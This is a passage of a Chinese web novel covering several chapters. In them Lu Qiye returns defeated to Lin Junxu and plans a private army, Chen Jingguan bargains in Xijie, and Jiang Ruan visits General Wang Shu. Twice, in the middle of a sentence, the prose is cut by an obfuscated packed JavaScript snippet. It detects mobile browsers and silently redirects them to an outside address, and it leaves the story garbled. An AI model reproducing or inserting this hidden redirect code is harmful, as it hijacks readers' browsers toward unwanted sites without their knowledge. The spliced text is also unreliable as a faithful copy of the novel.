难道要告诉他他的儿子叛国?要告诉他这一切都是因为元煜把刀伸向了自己人?可元煜并没有主动攻击昌安军,而陈京观不是自己人,他甚至不是元衡认下的盟友,这一切不过都是陆栖野自己的动作,与元衡,与北梁都没有关系。 如若此时陆栖野把罪责推到元煜身上,元煜定会反咬一口说陆栖野豢养私兵,勾结外邦,元衡不会帮他的,他太了解自己这个姑父了,他最终只会落个死无葬身之地的下场,还要连累家里人。 要说元衡对元煜就一点怀疑都没有,陆栖野绝对不信,可元衡什么都没做,依旧把驰援的事情交给了他,这足以表明元衡的态度。 实际上如今元衡的目的达到了,陈京观的势力一夜之间化为灰烬,南魏受到重创,在短时间内他们只会把矛头对准东亭,元衡有充足的时间想对策,想一个一石二鸟的策略。 而他更高明的地方,在于他把所有人的目光都吸引到了江阮身上,没有人注意到他也跃跃欲试要将这浑水搅得更乱些。 他们元家人,都是天生的演员。 于是陆栖野只能灰溜溜地绕过澄州,沿着慕江回到了沧州,就当这一切没有发生过,他的兵从来没有离开过陆家马场。 “兄长还是没有消息?” 陆栖野骑在马上远远就看到了林均许,他身后站着林朝槿和林含晚,两个人望着陆栖野的身后,原本欣喜的神色落寞了下来。 林朝槿听到陆栖野的问题,只是摇头没有回答,她身边的林含晚看了她一眼,像是下定决心般问,“含章呢?” “丢了。” 陆栖野下意识撇过头不敢看眼前人,他的声音很轻,乍一听还以为是他的呓语,可林朝槿悬着的心终于彻底死了,她咽了咽口水,走上前一步牵住了陆栖野的马。 “不是说陈少将军找到他了吗?你们不是一起在遥州待了段时间吗?那么大的人了,怎么还能丢?” 林含晚的声音越来越小,陆栖野翻身下马,跪在了林均许面前。 “林叔,我们输了。” 105.陈春杳杳(二) 陆栖野从小到大只行过军礼,只有被陆晁罚跪祠堂的时候见他双膝着地,可此刻,他的膝盖像是长在了地上,原本挺拔的身子像是被霜打后的茄子,只靠一口气吊着。 林均许自始至终没有说话,他的阴影长久地笼罩在陆栖野的头顶,他看到陆栖野的肩膀开始打颤,然后幅度越来越大,可陆栖野还是拼命忍着,一声不啃地跪在地上。 “进屋吧。” 林均许说完后头也不回地往屋子里去,陆栖野在回来前已经安顿好了所有人,此时他身边只站着檞枳和迷津,两个人有些不知所措,对视了一眼试探着拉陆栖野起来。 “少主,我们先进去吧。” 迷津的触碰让陆栖野抖了抖,他像是回过神了,推脱开身边人的搀扶自己撑着刀直起身,他看着大门里越走越远的林均许,他觉得林均许比他离开前老了许多。 “你哥哥的事情我一直在打听,可就好像有人故意压着,故意藏着不让我们发现他,他就这么凭空消失了。” 林均许走进了自己的书房,他感觉身后的人该是进来了,他转过身示意陆栖野将门关上。 “一点消息都没有?” 林均许摇头,“一点都没有,他甚至连刑部的册子都没上。” 不知为何,听到这里陆栖野心底生出些没由来的烦躁,这些日子他受过的所有气,受过的所有委屈都好像被了无音讯的陆栖川点燃了,他苦笑着,下意识摇头。 “没必要吧,他想要我们的命直说啊,本来就是他给卖命的,本来就是他的奴才,他费尽心思玩弄我们,是因为皇宫里的日子太无趣了吗?” 陆栖野单手扯开了身上的铠甲,那沾着血渍的钢铁应声落地,他没有理会林均许看他的眼神,自顾自拆掉了身上的腹带,任由那些伤口暴露在空气里。 九月初的沧州已经有了晚秋的感觉,傍晚时分那雪山像是居高临下的看守,时时刻刻盯着沧州的一举一动,陆栖野此刻真希望那雪山会说话,能替他到澄州把这一切都说给元衡。 “我们在前面卖命,替他杀人,我们不求所谓的回报了,他能不能不要在背后捅刀子?” 陆栖野想到了桑柘和董辉倒下时的场景,元煜的笑在一瞬刺痛着他的眼睛,他长得真像元衡。 “母亲没穿过她那身诰命的华服,姑姑没有低声下气求过他,可这次她们都为我破了例,就为了给我谋一条生路,”陆栖野说到这不自觉冷笑,“可我在替谁做事啊,我们陆家在替谁做事啊,他想要打仗我们替他打啊,非要装出一副热爱和平的样子,虚不虚伪?他明明什么都知道,明明心里有自己的打算,可他偏就静静看着我,就好像若最后的结果他想要了,他就开口应下这一切,他若不想要了,就能装作什么都没发生,这就是帝王之术吗?” 陆栖野深吸一口气,他能感觉到自己的脸涨红了,他现在一定看起来很可笑,可林均许就这样看着他,也不接话也不反驳。 “当初我求陈京观替我们走一趟西芥,明明他和西芥的关系更好,沁格对他无比信任,可他依旧帮了我们,即使可能背上落井下石的名号也还是帮了我们,我们就是这么回报他的?他从来没怀疑过我,可元煜出现的那一刻我觉得我已经死了。” 陆栖野的这番话毫不停顿,这一路风尘仆仆地去,再风尘仆仆地来,这些话在陆栖野心里念了不下百遍,可他没有人能说,他觉得陈京观到最后还愿意告诉他自己还活着,已经是对他最大的宽容了。 “林叔,我真的没想过这一仗能打得这么惨,能让我觉得我们之前所做的一切都看起来这么可笑,所有努力在背叛面前都成了徒劳。” 林均许上前掩住了陆栖野的嘴。 “背叛,这个词不可以再出现了。” 林均许冰冷的手盖着陆栖野因为生气而呼出来的热气,他感觉到自己的手心湿了,但是他没有转过头去看陆栖野,他转而将陆栖野搂在怀里,一下一下拍着他的背。 “我都知道了,我都知道了,错不在你,错不在你们,你们都是好孩子。” 林均许的话像是彻底点燃了陆栖野这一路的委屈,他伸手环住林均许的腰开始嚎啕大哭。 “我就是不明白,当初父亲和他一起打仗的时候他也这样吗?他自己上过战场的,他最明白信任在那一刻的重要性,可他做了什么?他怎么能只要那个结果,我们都是活生生的人啊。” 陆栖野的话断断续续,林均许抬手揉着他的头发,像是安抚一只小狗。 “可能人长大了,在乎的事情多了,就变了吧。” 林均许的眼睛慢慢失焦,他对陆栖野的安慰好似只是下意识的动作。 其实在看到陆栖野之前林均许已经想明白了,元衡自始至终没有表现出任何对战争的兴趣,可这足以证明他对战争的热忱,他从来没有放弃过一统天下。 元衡是个为了打仗而生的人,北梁兴在有他,亏也在有他。 这些日子少年时的记忆总是不断涌上来,他给陆晁写信的频率也越来越高。林均许不是个话很多的人,可他和现在的陆栖野一样,说话不是为了表达什么,他们只是不想让自己静下来,去面对那些已经认清楚的现实。 林均许认命了,他只希望元衡动作快一些,这些意味不明的行为就像是对他的凌迟,在一点点带走他对元衡的感情,可他不能把这些话说给陆栖野。 陆栖野才不过二十,他不该认命的。 “对了,陈京观还活着的事情,只有你、陆晁和我知道就好,不要再向任何人透露。你与他也暂时不要有书信联系,给他一段时间好好想想。” 陆栖野点头,像是想到了什么,他从林均许怀里钻出来。 “那元煜呢?当真让他像什么事都没发生一样?” 林均许摇头,“他不是把孔肃供出来了吗?我们顺着这条线摸,我要看看他和江阮的关系。” 陆栖野没说话,他用袖子胡乱在脸上抹了一通,微微屈身和林均许保持平齐。 “您有什么打算?” 林均许顿了片刻,转身回去从自己的书桌上拿了一封信,陆栖野接了过来,发现是陆晁写给他的。 “你父亲让你不要担心他,在元衡眼里我们目前还有利用价值,他还没有到要把我们除掉的地步。他想让我们继续辅佐元焕,所以至少我们没有性命之虞。” 陆栖野看着纸上熟悉的笔迹,陆晁很少用这样柔和的态度和他说话,他不禁又红了眼眶。 “至于栖川,我觉得我们或许也可以从元煜这里入手。“ 陆栖野抬头看了林均许一眼,林均许解释道:“栖川和你父亲不一样,他身上没有对于元衡的感情,所以他在某种程度上比你父亲更危险,你父亲能听话的呆在牢里,你哥哥却未必,他并不像表面看起来这么温顺。” 陆栖野点头,他一直觉得哥哥是在努力扮演一个称职的将军,一个优秀的儿子,一个合格的哥哥,他的一举一动就像是预先设计好的,他是在循规蹈矩演绎着众人心中陆家长子该有的样子。 可陆栖川才是第一个提出一战永逸的人,陆晁对战争的厌恶,根源上是他打的仗太多,他怕了,而陆栖川是因为他看透了战争的本质,战争不过是贪婪者的血包。 “当初你父亲让元焕想办法把栖川弄到大牢里,为的其实是看住他。在晏离鸿离开后他对战争的厌恶疯长,如果这次是他带兵,他会毫不犹豫杀掉元煜,他不在乎政治的博弈,他只做自己认为对的事情。” 的确,这才是真正的陆栖川,是褪去所有身份顾虑后的陆栖川。 “不过你也不必多想,你没做错,如今留着元煜还有用,只有他活着,我们才能找到江阮留下的蛛丝马迹。” 闻言,陆栖野的眉眼微微一震,他发自内心觉得可笑。 江阮的动作竟然干净到了这种程度,直到他出牌的时候陆栖野才知道他手里还有牌,而他甚至在赌陆栖野会意气用事,想借他的手毁掉自己留在元煜身上的线索。 到底是什么样的人能把一切预演到这个地步,江阮像个怪物。 “我之所以觉得此事和元煜有关,是因为你告诉我元煜一直恨着元焕。” 林均许话题一转,陆栖野也顺着他的话回过神。 “在年轻一代里,栖川是元焕最好的助力,偏偏他们二人像极了最初的元衡和你父亲。你父亲虽然对现在的元衡生了怨怼,可他能有今天靠的的确是元衡,他想要栖川沿着他走的路再活一遍,这是他能给你们选出来的最好的人生。”< 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“京观救下含章后,含章透露晏离鸿带着他去了一趟遥州,所以我们下意识以为晏离鸿是去替江阮踩点的。我们把整个军队集结在了遥州城外,结果江阮打了崇州,温书让死在了城破的那一天。我不想再让京观操心,就把含章带回了自己的营地,后来我们到泯川江旁安营扎寨的时候,他不见了。” 陆栖野顿了一下,他甚至不敢抬眸看林均许,可眼前的人却道了一句“继续说”。 “我本来是把他托付给檞枳的,檞枳基本走到哪都把他带着,他也很听话,可那一天檞枳替我去送给陈京观送了个东西,再回来的时候所有人就都找不到林含章了。” “去送什么?” 林均许的问题几乎脱口而出,陆栖野一时间有些发愣,“母亲送回来的手书,上面写了元衡出兵的具体计划。我事先同京观说了,后来觉得不妥帖,就把原信送给了他。” 陆栖野说话时瞧见林均许的眉心慢慢攥在一起,他开口问:“您是想到了什么?” 林均许没回答,半晌后摇头道:“就是觉得有些巧。” 陆栖野点头,“是啊,不过这事也怪我,当时我应该自己去的。” 林均许缓缓摇头,“不是你的问题。” 林均许说完这句话后一言不发,他目光凝结在思绪的某一处,陆栖野不禁抬头瞥了他一眼,林均许对他宽慰地笑着。 “那孩子命大,梅椿生他的时候就不容易,可他还是活下来了。算命的说他生关一过死关即消,这辈子能杀他的人只有他母亲。” 林均许叹了一口气,脸上的愁云慢慢消散,陆栖野没有接话,他起身朝林均许走了几步,跪在地上磕了个头。 “我会把他找回来的,我发誓。” 林均许知道陆栖野执拗的性子,他嘴上说着“好”,伸手将他扶了起来,替他拍了拍膝盖上的土,用胳膊将他往自己怀里搂了搂。 “这些日子不见,瘦了些,我都能抱住你了,你母亲要是见到你要心疼的。” 陆栖野低着头笑着,“最近不方便回澄州,我打算过些日子接她回禹州。” 说到这,陆栖野扭过头看着林均许,“我想在禹州重新练兵,不是以马场的形式,是练我自己的私兵。马场负责了北梁大部分驯马的任务,士兵的主要精力集中在日常跑马,这次打仗我能看出来他们大不如从前了。” 林均许没说话,他示意陆栖野继续。 “既然元衡不给我兵,那我就自己练。北梁的昌安营不是靠国库堆起来的,它是我陆家两代人的心血。既然父兄可以,那我也可以,下次打仗我再也不求人了。” 陆栖野最后这句话几乎说得咬牙切齿,林均许伸手捏了捏他的肩膀,怀里的人松弛了些。 “可以,反正你也没有任官职,元衡暂时管不到你。不过昌安营你打算就这么给元煜了?” 陆栖野冷笑一声,“明明能打得很漂亮的仗他打成这样,元衡就是再溺爱他也不会让他掌兵权了。” 林均许应着陆栖野的话,“若是你打,你会怎么做?” 陆栖野目光一滞。 “如果我是元煜,我会在江阮没撤退之前就进场,借着混乱先收拾陈京观,然后迅速攻下城门,让那些叛逃的人从朔州城里面杀出来。” “那些人会听你的?” 陆栖野轻笑道,“他们跑出来不就为了一个前程?斩江阮首级者,改日我称王,他就是下一个陆晁。” 106.陈春杳杳(三) 陆栖野的兵马从九月初三开始集中管治,整个禹州陷入战备状态,这次有林均许帮他做策应,澄州硬是一点消息都没听到。 林均许在官场上起起伏伏这么多年,他能混到如今的位子自然有他的手段,这也是元衡不会直接动他的原因。 林均许是北梁好不容易长出来的根骨,元衡想把他留给元焕。 而陆晁在牢里住了小半年,他既没有实际的罪名,也没有重大过失,元衡瞧着时机成熟随便给了他一个教子无方的训斥,把他赶回了平州,让他即刻接管昌安营,无召不得离开平州半步,却没提到要给他官复原职。 明眼人都看得出,元衡这招是为了隔离陆晁和陆栖野,元衡是在用陆晁做辖制陆栖野的棋子。 可陆栖野说不出元衡的不是,他擅自出兵的事情元衡压下去了,元衡甚至连御书房里的折子都没有翻开过。 元煜的行为被解释成情报不准导致无法驰援,他造成的所有损失真的让孔肃背了锅,孔肃以贻误战机的理由被投入大牢候审,他住在了陆晁刚离开的那间牢房里。 元衡的装聋作哑真的让陆栖野尝到了些甜头,但陆栖野觉得孔肃倒台的太快太轻松了,直觉告诉他不对劲。可他此时唯一能做的是期待孔肃慢些死,好让他借着孔肃的眼睛看一看江阮的真面目。 陆栖野明白,元衡最懂得扇一巴掌给一个枣的道理,他就是这样笼住人心的。元衡杀了奸臣,逼了忠臣,若是旁人这样做,迟早会是个人心向背的局面,可他偏偏是帝王,人人只能念他的好。 元衡好像和谁都交不了心,他不能忽略那些人身上的利用价值,所有人在他眼里最后都沦为了工具。 但索性大家的生活都回归正轨,陆栖野又开始扮演那个无所事事的小爷,他想拖一拖时间,给自己,也给陈京观一些时间。 与陆栖野不同,陈京观在西芥的日子过得很快。和乌木禾统一意见后他们找到了沁格,沁格重申了自己的要求和目的,陈京观都默默应下了,临了他提了一个条件。 等一切结束,西芥要将那座京观所在的位置划归南魏,陈京观要把陈频送回阙州的墓园。 沁格抬头看了他一眼,轻轻晃动脑袋表示自己知道了。 那座京观离雍州城门不远,只说划给南魏倒也不是不行,可有关土地的退让是西芥人的底线,如今西芥的版图是先祖们用马蹄踏出来的,沁格要和几个德高望重的长辈商量一下。 “我可以拿防御城墙做交换。” 乌木禾冷不丁开口,屋子里的人一齐看向他。 “既然别吉想要的是天下无战事,那我当然愿意极力促成。我南魏修建防御工事是为了抵御外族,若外族先我们一步保持距离,我们愿意以退让换取彼此的信任。” 乌木禾说完朝沁格的方向走过去,他脸上带着笑,虽说穿着西芥的衣服,可不知是不是沁格的心理作用,她觉得乌木禾那张纯正的中原面孔这些日子愈发明显。 “更何况别吉今日助我登位,我应该要做更大的让步才是。” 沁格盯着乌木禾的眼睛,突然明白了陈京观对自己说的那句话。 她已经从乌木禾的眼睛看到了欲望。 “好,不过这些都是后话,你要先坐到那个能说话的位子上去。” “那是自然,”乌木禾回道,“明年四月初三,我会带着别吉的兵入主阙州。” 四月初三,陈京观看了乌木禾一眼,那是陈频被降罪的日子。 “报!廊州土匪挂了东亭旗,廊州易主。” …… 一个月前陈京观兵败朔州,整个东亭军士气大涨,江阮封赏了几个在战争中有突出表现的,更是惹得下面的人一个个动了心思。 汪恕在整个战事收尾结束后成为了东亭军首将,只他一人那日就斩敌百人。晏离鸿思来想去,还是在圣旨送到汪府的那日登门道谢,只是他没想到正巧碰见了江阮。 “去找汪将军?” 江阮身后只跟着一个护卫,晏离鸿遣散了跟着自己的人,和他一同朝汪恕的府院走去。 “嗯,道谢他升任大将军。” 江阮笑着没说话,晏离鸿侧过头看了他一眼,“赢了的感觉怎么样?” 江阮脸上笑意更浓,“没什么意外,也就没什么惊喜。” 晏离鸿知道江阮话里话外指的是谁,他也默契地没有明说,摆正身子稍稍放慢脚步,跟在江阮身后。 “再说了,我又不是为了赢他才下这盘棋的,他本事就是个意外落进来的棋子,只可惜这个意外没有我想得有趣。” 江阮微微顿身缩短了自己和晏离鸿的距离,“你觉得他死了吗?” 晏离鸿不明所以地看着江阮,江阮摇着头叹气道:“他运气那么好,不会这么轻易死掉的。” “那他在哪?” 江阮没有立刻回答,他抬头看到汪府门口人来人往,眼底浮起一丝不明觉厉的情绪,他侧身示意身后的人带路,晏离鸿跟着他拐进了一个小巷子。 “我不想见那些人,我们从后门走。” 江阮见晏离鸿没有反应,笑着继续道:“至于你的那个问题,你应该知道啊,这天下如今还有谁能收留陈京观。” 晏离鸿问出来的是他二人都心知肚明的问题,但晏离鸿的意图却不在此,他望着江阮的背影,开口道:“那你就这么放过他?” 晏离鸿瞧见江阮摇了摇头,只听他轻笑一声,在汪恕家的后门停住了脚。 “你这话说的不对,我从来都没有想要对他赶尽杀绝,是他一步步穷追不舍。” 晏离鸿一时间没反应过来,他竟真觉得江阮说的是对的。 “他要是能缩在西芥一辈子,我也不是非要要他的命。” “你知道这不可能。” 江阮脸上的表情愈发轻佻,他扬起眉眼,晏离鸿只看到他用余光瞥了自己。 “所以我要再逼他一次,我要看看他的底线在哪。” 说着,江阮抬手叩响了汪恕家的门闩,不到一刻,一个上了年纪的老管家带着他们去到了汪恕的书房。 “参见陛下。” 汪恕作势就要下跪,江阮摆了摆手,像是进了自己家一样无所顾忌地打量着眼前的陈设。 汪恕在朔州的宅子是江阮给置办的,原本选的位置更靠近皇宫,可汪恕请了旨意想将妻儿都送得远远的,江阮看得出他的心思,没强求他,给他在泯川江畔找了个小院子。 虽说这家如今没了女主人,可汪恕在军营里待了半辈子,陆晁留在他身上的规矩渗入进他的一言一行,这书房的布置简单却也明净,丝毫看不出汪恕是个圣眷正隆的宠臣。 “汪将军日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118439|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子清苦了些,是将我送的封赏都寄回了家?” 江阮玩笑着,汪恕连忙躬身道了句“不敢”,他抬眸时看见晏离鸿望着自己,那双眼睛让人难以猜透。 “别紧张,为臣谨慎些是好事,让我寻不到能提点你的地方。” 江阮话里有话,汪恕便将脑袋埋得更深了些,“圣言自是百听不厌,臣如今忽而得势,若是能得到陛下敲打,想必这位子我也能坐得更安心些。” 江阮嘴角勾起一抹笑,“汪将军言重了,这仗才刚开始打,以后东亭还多要仰仗您。” 汪恕咽了咽口水,伏着身子慢慢跪下,他后背的刀伤还没好彻底,行动间的抽痛让他一阵皱眉。 “臣府院前多是鸟雀卿卿,这也是人之常情。请陛下放心,我自当把握分寸,不会失了皇家颜面,也不会弯了军士脊骨。” 说罢汪恕在地上叩了一个响头,他再起身时晏离鸿看到他额头微微泛红。 从进屋起晏离鸿一言不发,只在汪恕问候时他应和了一句,汪恕也明白他的心情,可江阮在这,他们二人断然不能再提过去的事情。 不过晏离鸿看得出,汪恕这一套说辞之所以能如此行云流水,是因为他是全照着元衡登临陆府时陆晁的反应做的,汪恕在向晏离鸿表明自己的内心。 他不是,也不会是个战争贩子。 即使他因为打仗得到了许多,可这远不能填上他心里的万人坑。 桑柘和董辉死的时候汪恕就站在城墙上,他看着元煜射杀了他昔日的战友,他紧紧握着拳头,喉咙里的血腥气让他几乎要从这一跃而下,而他手里的弓箭只需要轻轻一抬元煜就会人头落地,可是他不能这么做。 军人的天职是服从命令,江阮只让他监控情态变化,并没有给他插手的权利。 于是桑柘和董辉死在了他面前。 那天夜里,汪恕只要一闭上眼睛就能看到他们落地的神情,其实量他眼睛再好也不该看得清他们的表情,可汪恕总觉得他们在笑,他们在望着自己笑,他们在望着北梁笑。 他们在笑他们自己。 慢慢的汪恕眼前不止他们二人,桑诠安,董家十余口,以及他从军这么多年亲手送走的战友,乃至仇敌,全部都在他脑海里过了一遍。 昔日他是陆晁手下的兵,只需要在战场上做最好的刀,可今日他成了将,他看到陆晁这些年看到的景象,他第一次明白陆晁为什么宁愿去大牢也不想再打仗了,他以为的风光,其实是后知后觉的惶恐。 好在一夜无眠后汪恕得到了江阮的赏识,他得到了他梦寐以求的东西,他把江阮赏赐的钱财全部托人送去了汝州,他叮嘱妻子一定要照顾好自己,而他自己陷入了无尽的空虚。 朔州守住了,下一步要打哪里?这是他做将军的必须要考虑的,可汪恕的脑袋里什么都有,唯独没有作战计划。 突然,汪恕猛地大口呼吸,就像是被人扼住了喉咙,双手下意识攥紧,他听到了儿子在叫他,可他抬头的时候什么也没看到。 他意识到他听到的是脑海里儿子的呼救,他看到了东亭军,亦或者别的什么军队踏破了汝州城。 不行,不能让军队往北走。 “陛下,”汪恕忽然开口,“关于军队的下一步部署我有想法了。” 晏离鸿抬头看他,汪恕避开了他的目光。 107.陈春杳杳(四) 汪恕抬起腰,他的鬓角已经被渗出来的汗浸湿,他压紧牙关忍住撕裂了的伤口带给他的疼痛,说道:“臣这几日派了探子往廊州和遥州分别探查,遥州守军是范诔,臣与他极为相熟,此人虽说年岁已高,可毕竟是与陆晁一同打天下的,是块硬骨头。” 江阮微微点头示意汪恕继续说。 “至于廊州,”晏离鸿看到汪恕眼神闪烁,“鉴于我们已经拿下崇州,且廊州土匪有投靠陛下之意,此时攻打廊州是最好的选择。” 所以汪恕选择让南魏预先抵挡江阮的力量。晏离鸿的目光自始至终望着汪恕,他心中却有一丝悲哀爬上心口。 为了守住自己的家,就去把别人的家拆了,晏离鸿嘴角微微抽搐,他倒也谈不上对南魏有多少感情,可真要让他去杀那些无辜百姓,他倒有些下不去手。 晏离鸿最初的打算是跟在江阮身后做他的幕僚,以最快速度攻下阙州推翻萧氏王朝。这一切对于如今的江阮来说并不难做,可江阮并没打算就此放过他。 无论是派他驻守崇州还是拉着他在城门上看陈京观如何腹背受敌,江阮的目的都只有一个,让晏离鸿彻底暴露在阳光下,断掉他的回头路。 虽然晏离鸿自己也知道,他早就没有回头路了,可江阮就像是深海的水藻,一旦捉住猎物就会将他越拖越深。 只是事到如今,江阮依旧没有展露出丝毫对权力和土地的占有欲,支撑他走到现在的只是攻城略地时的血流成河。 他喜欢战争制造的混乱,他喜欢看所有人为他们的傲慢与偏见付出代价。 他选择用凌迟的方法一刀一刀还回来,他要让每一个人都经历一遍他经历过的人生。 他们不是喜欢打仗吗?他们不是喜欢权力吗?他们不是对谁都不在乎吗?那就打吧,那就争吧,那就死吧。 至于这仗究竟能打到什么时候,或者他能活到什么时候,江阮都不关心,他知道这世界上有的是人操心这件事,他能做的就是在他活着的时候把所有人都卷进来,没有一个人能好过。 所以本质上江阮并不在乎胜利,这是他达到目的的过程而非结果,可偏偏就是他这样一个不在乎胜利的人每次都能反败为胜。 江阮知道,这不是因为他运气好,他为了能走到今天,他早已经似人非人了。 “好,都听你的,”江阮依旧笑容满面,“你若是准备好了就去做,记得把声势闹大些,一定要让所有人都听到。” 一定,要让陈京观听到。 那天江阮从汪恕府上离开时已经日渐西沉,他推脱了汪恕挽留用饭的邀请,侧身看到晏离鸿一直在打量自己,江阮没有理会晏离鸿的目光,推开门直朝着侧门去了。 “哪有让皇上走侧门的道理?” 汪恕赶忙迎了上去,直引着江阮朝大门口走,晏离鸿就跟在二人身后,那扇门推开,原先吵嚷的街道变得冷清,江阮眼底浮起一层不易察觉的笑意。 “汪将军办事果然迅速,不愧是行伍出身。” 汪恕赔着笑,“皇上谬赞,臣不过是言出必行罢了。” 江阮微微挑眉瞥了汪恕一眼,摆手拦下了汪恕送行的步子,不过他走了没几步便回头望,看见晏离鸿还依旧站在汪恕背后。 “晏大人不走?” 晏离鸿朝江阮躬身行礼,“臣与汪将军还有话没讲完,臣恭送陛下。” 晏离鸿作出一副赶人的姿态,江阮不禁轻笑着摇头,不过他也没有再为难晏离鸿,只一个人又沿着长街往回走。 “他倒真是个怪人,这天下坐到这个位子上的哪个不是提心吊胆,生怕有人出来要了他的命,他却好像不在乎。” 汪恕直言不讳,他一边转身一边拉着晏离鸿回屋,倒是晏离鸿又回头看了江阮一眼,那细长的身影逐渐融进了远处的天际线。 “他可能真希望能有个人跳出来把他杀了,”晏离鸿话里尽是唏嘘,“只可惜站在他身边的人各怀鬼胎,都还仰仗着他的势力,而站在外面观望的人多是想进来分一杯羹,毕竟比起其他几个皇帝,他竟然看起来还算正常。” 汪恕呵呵地笑着,没有再回应晏离鸿,他指示身后的人不用跟着了,自己领着晏离鸿一路走到庭院后面的小亭子处,回头看了一眼天天慢慢显影的月光,长叹一声道:“我知道你有很多想问的,尤其是我说完方才那番话后,你问吧,我知无不言。” 汪恕抬眼看着晏离鸿,眼前的人却没有如他想象一般发出质问,晏离鸿只是看着他笑了,侧身从汪恕旁边的空隙挤进去,倚靠着石桌坐在了亭子中央。 “你刚才盯着我看了许久,心里应该狠狠骂了我一顿吧。”汪恕自嘲道。 “为什么?”晏离鸿以一种仰望的姿态看着汪恕,“汪将军觉得自己错了?” 汪恕摇头,也上前坐到了晏离鸿对面,“没有,你明白我为什么这么做。” “那我为什么要骂你?” 晏离鸿故作天真的表情刺痛了汪恕,他太明白眼前人的手段了。 当初他还在昌安营的时候就注意到了晏离鸿,随着晏离鸿年纪渐长,营中有关他的声音也越来越多,那些人总说晏离鸿或许能成为下一个林均许,或许能比林均许更狠。 那一日晏离鸿拿着军令回平州调兵,汪恕一眼就看出了他的异常,后来他才知道,这一切都是晏离鸿刻意表露给他的,他就是故意让汪恕察觉到他身上脆弱易碎的样子,然后让汪恕觉得北梁不值得。 毕竟北梁能逼走陆家的儿子,又怎么会在乎一个昌安营多如牛毛的士兵? 而晏离鸿要表达的意思是真的,汪恕自己体会到的意思也是真的,虽说在传达上有错位,可他们都给自己找到了自圆其说的理由。 就这样,汪恕在一夜纠结后跟着晏离鸿做了叛军。 不过晏离鸿自己也没想到,他把一切想的太简单了,他也把江阮想的太简单了,这条路江阮能走,可他晏离鸿走不了,他没办法像江阮一样放下心里的一切,他顾忌的太多,如今他做什么都是错的。 今日他登上汪恕的门,其实也是想验证一个事实,他想知道和他一样处境的汪恕此刻在想什么,也同他一样坐卧不宁吗? 而汪恕建议江阮攻打廊州,即使晏离鸿明白他做这一切的原委,他还是觉得无力。他只能自嘲地说是自己太贪心,可偏偏又太软弱。 “你在投靠他之前不知道他的计划?” 汪恕没有回答晏离鸿的问题,转而抛给他一个新问题,晏离鸿愣了,随后汪恕见他点了点头,却又摇头道:“我知道他需要一支军队,他想要找复兴东亭,仅此而已。” “所以他究竟要到哪一步才肯停手,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122688|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道?” 晏离鸿点头,汪恕有些无奈地笑了,“他是给了你多大的诱惑,能让你放弃陆家的光环来做一个叛贼?” 晏离鸿喉头哽住了,他望着汪恕一时语塞,汪恕原本以为晏离鸿还是不愿意相信自己,却突然听到他说:“我是陆晁捡来的,大家都知道,可没人知道我原本是南魏人,父亲叫孟知参。” 月色下,晏离鸿笑得凄惨又落寞,汪恕因为突然的震动有些慌神,他盯着晏离鸿看了很久,一句话也说不出来。 “所以你说,能有江阮这样的助力,我会甘心放弃吗?” 汪恕忍不住叹息道:“那就是他答应你替你报仇?那你应该想到他会攻打南魏的,你不该是如今这副表情。” 晏离鸿身子一滞,“是啊,我应该想到的,哪儿有不流血的战争啊。” 一瞬间两个人都掉进了黑夜的沉默,彼此各怀心事,都被左右纠缠的心脏撕扯着。不知道过了多久,汪恕起身活动了一下自己的腰,晏离鸿看见他背后已经映出一片血色。 “你怎么不早说?” 晏离鸿眉头紧皱,急拉着汪恕要去寻大夫,汪恕笑着放慢脚步,晏离鸿看他,汪恕缓缓摇头:“死不掉,不过就是伤口又崩开了,刚才下跪的时候我就感觉到了,现在应该都自己凝住了。” “那你为什么不吭声?” 汪恕笑着答:“我要告诉江阮我打不了仗了吗?晏公子,没有利用价值的人就没有价值了。你猜江阮为什么会提到我的妻儿,他又为什么会同意我将他们送出去?我是叛军,他从来都没真正信任过我,他看中的只是我此刻的价值。” 汪恕叹息着将身上粘连在一起的外衣剥开,他眉心皱作一团却硬是一声不响,晏离鸿觉得自己好像能闻到空气里的血腥味。 “这是我的选择,用我的命给我家里人换一个活法,所以即使我再煎熬我也会坚持下去,倒是你,”汪恕看着晏离鸿,“也给自己找个寄托吧,不然在这个时代活着太累了。” 说罢汪恕一个人朝前走去,独留下晏离鸿愣在原地。 寄托,晏离鸿被这个词困住了。 其实说白了就是画地为牢,就是让自己成为那只坐井观天的青蛙,晏离鸿觉得这件事不难,应该比他这些日子做的任何一件事都容易,可寻个寄托,晏离鸿想到的是霜栽。 霜栽,应该是晏离鸿的寄托,可她自己也困在其中。 比起一步步让自己身陷囹圄的晏离鸿,霜栽内心背着更多,晏离鸿能感觉她在自责拉了他下水,可能霜栽比自己更需要一双拉她出泥沼的手。 不知不觉间晏离鸿走到了汪恕家门口,他看见书房里的影子似乎正在伏案写些什么,他觉得应该是汪恕在给夫人的信,晏离鸿嘴角不自觉露出一抹笑,他迈步走出了这扇大门。 只是晏离鸿前脚刚走,方才只有一个人影的书房突然显出两团黑色,一个披着斗笠的人站在汪恕的书桌前,他接过汪恕刚写好的东西,微微点头,然后他将帽檐压得更低,从后门离开了。 这个人影没有回到主街,他顺着泯川江往断桥处走去,那里已经停好了一艘小船,船上的人招呼他快些过来,他走过去的时候险些趔趄摔倒,船夫暗自嘲讽了两句,那人影没做反应,只是将袖子里的信握得更紧。 十日后,廊州城破。 108.陈春杳杳(五) 五日前。 “爹!城门口快顶不住了!” 